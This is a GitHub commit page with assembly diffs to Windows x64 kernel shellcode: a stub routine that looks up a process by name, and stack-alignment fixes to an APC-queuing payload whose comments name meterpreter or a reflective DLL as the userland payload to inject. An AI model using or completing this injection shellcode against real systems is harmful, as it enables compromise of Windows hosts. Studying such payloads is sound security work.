Skip to content

Commit b60d830

Browse files
author
zerosum0x0
committed
small fixes
1 parent 2370389 commit b60d830

File tree

2 files changed

+28
-1
lines changed

2 files changed

+28
-1
lines changed
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
;
2+
; Windows x64 Kernel Find Process by Name Shellcode
3+
;
4+
; Author: Sean Dillon <[email protected]> (@zerosum0x0)
5+
; Copyright: (c) 2017 RiskSense, Inc.
6+
; License: Apache 2.0
7+
;
8+
; Arguments: r11d = process hash
9+
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
10+
;
11+
12+
[BITS 64]
13+
[ORG 0]
14+
15+
find_process_name:
16+
xor ecx, ecx
17+
18+
_find_process_name_loop_pid:
19+
20+
add cx, 0x4
21+
cmp cx, 0x1000
22+
jb _find_process_name_loop_pid
23+
24+
xor rax, rax
25+
ret

payloads/x64/src/kernel/insert_queue_apc.asm

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,8 @@ OBFDEREFERENCEOBJECT_HASH equ 0x32c5ddf6 ; hash("ObfDereferen
2323

2424
; cld
2525

26+
push rsp
27+
and sp, 0xFFF0 ; align stack
2628
push rsi ; save clobbered registers
2729
push r14 ; r14 will store ntoskernl.exe
2830

@@ -49,6 +51,7 @@ inject_end:
4951

5052
pop r14
5153
pop rsi ; restore clobbered registers and return
54+
pop rsp
5255
ret
5356

5457
userland_start:
@@ -59,4 +62,3 @@ userland_payload:
5962
; insert user land payload here
6063
; such as meterpreter
6164
; or reflective dll with the metasploit MZ pre-stub
62-

0 commit comments

Comments
 (0)